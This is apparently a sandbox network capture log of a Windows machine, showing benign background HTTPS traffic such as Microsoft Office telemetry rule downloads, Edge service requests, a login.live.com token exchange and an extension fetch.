2024-11-27 16:58:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:42 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 3470686c-601e-0097-306c-40f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165842Z-174f7845968nxc96hC1EWRspw80000000x00000000007fyh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:42 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.7	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:43 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:43 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: cb9203b6-501e-0029-2691-3fd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165843Z-174f78459684bddphC1EWRbht40000000ww000000000p7ar x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:43 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.7	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:43 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:43 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: e14f358b-d01e-007a-5d7e-3ff38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165843Z-174f7845968kdththC1EWRzvxn00000009mg000000007yvn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:43 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.7	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:43 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:43 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5cf18591-601e-000d-7e91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165843Z-174f7845968cdxdrhC1EWRg0en0000000x3g00000000n2z6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:44 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.7	49784	94.245.104.56	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:43 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 16:58:44 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Wed, 27 Nov 2024 16:58:43 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=08d2043fe0eddf6a1a4774ef0097be85709acca5523117bc62455fbc08a48784;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=08d2043fe0eddf6a1a4774ef0097be85709acca5523117bc62455fbc08a48784;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.7	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:45 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:45 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: b24172ee-901e-0016-3789-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165845Z-174f7845968qj8jrhC1EWRh41s0000000x0g00000000vsxr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:45 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.7	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:45 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:45 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 59a03737-a01e-00ab-1891-3f9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165845Z-174f7845968xlwnmhC1EWR0sv80000000wyg00000000qhav x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:45 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.7	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:45 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:46 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:46 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: dcf51672-d01e-005a-5c91-3f7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165846Z-174f78459685m244hC1EWRgp2c0000000x3000000000780x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:46 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.7	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:45 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:46 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:46 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 3fc8ca9f-401e-0083-6c91-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165846Z-174f7845968n2hr8hC1EWR9cag0000000wr000000000xh6v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:46 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.7	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:45 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:46 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:46 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 5cf18767-601e-000d-7d91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165846Z-174f78459684bddphC1EWRbht40000000x0g0000000050f8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:46 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.7	49793	20.190.147.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:46 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-27 16:58:46 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-27 16:58:46 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 27 Nov 2024 16:57:46 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_SN1 x-ms-request-id: 35d2658f-af53-47b5-bb09-0cdfaef25bf8 PPServer: PPV: 30 H: SN1PEPF0002FA6E V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 27 Nov 2024 16:58:46 GMT Connection: close Content-Length: 1276
2024-11-27 16:58:46 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.7	49795	142.250.181.97	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:46 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
